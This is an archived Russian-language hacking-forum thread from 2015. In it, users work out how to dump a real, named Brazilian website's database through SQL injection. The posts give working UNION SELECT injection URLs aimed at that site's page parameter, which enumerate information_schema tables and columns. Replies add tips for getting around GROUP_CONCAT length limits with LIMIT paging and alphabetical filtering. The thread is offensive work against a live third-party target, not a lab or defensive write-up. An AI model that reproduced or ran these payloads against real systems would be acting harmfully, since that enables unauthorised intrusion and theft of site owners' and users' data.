PDA

Просмотр полной версии : Обойти лимит в 1024 символа


AlexG
05.10.2015, 00:58
Сейчас вот такой вывод. Как обойти лимит?


Code:
http://www.fimca.com.br/pagina.asp?id=-11%20union%20select%20all%201,2,3,GROUP_CONCAT%28t able_name,0x3a,column_name,0x3c62723e%29,5,6%20fro m%20information_schema.columns%20where%20table_sch ema=database%28%29%20--+

Встретилось решение через mid(), попробовал, но все равно лимит остался. Пробовал так:


Code:
http://www.fimca.com.br/pagina.asp?id=-11%20union%20select%20all%201,2,3,mid%28GROUP_CONC AT%28table_name,0x3a,column_name,0x3c62723e%29,102 4,2048%29,5,6%20from%20information_schema.columns% 20where%20table_schema=database%28%29%20--+

Br@!ns
05.10.2015, 01:05
А зачем вы используете group_concat, которая максимум выведет 1024 символа? не используйте эту функцию и все, все нормально через limit у вас выведется

AlexG
05.10.2015, 01:26
Тупик... Не подскажете какую функцию использовать?

Br@!ns
05.10.2015, 01:33
AlexG said:
↑ (https://antichat.live/posts/3898695/)
Тупик... Не подскажете какую функцию использовать?


У вас все уже есть.

http://www.fimca.com.br/pagina.asp?...s where table_schema=database()+limit+2,1+--+ (http://www.fimca.com.br/pagina.asp?id=-11%20union%20select%20all%201,2,3,table_name,5,6%2 0from%20information_schema.tables%20where%20table_ schema=database%28%29+limit+2,1+--+)

AlexG
05.10.2015, 01:57
Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. Это возможно? В вашем варианте лимитом выбираем таблицы, потом по аналогии колонки, потом содержимое - я правильно понимаю?

Br@!ns
05.10.2015, 07:53
AlexG said:
↑ (https://antichat.live/posts/3898704/)
Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. Это возможно? В вашем варианте лимитом выбираем таблицы, потом по аналогии колонки, потом содержимое - я правильно понимаю?


да, все стандартно

AlexG
05.10.2015, 09:21
Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. - т.е. так не получится? Лимит не обойти?

Strannik1236
05.10.2015, 10:05
Используйте другую функцию или сокращайте количество символов. А то вы пытаетесь как Алекс одним запросом вывести все содержимое.

AlexG
05.10.2015, 13:07
palec2006 said:
↑ (https://antichat.live/posts/3898746/)
если лимит не пролазит, то можно так: where column_name>'a', where column_name>'ab',... where column_name>'login', т.е. выборка по алфавиту, или отфильтровывать уже известные данные: where column_name !='login' and...


Спасибо, тема закрыта.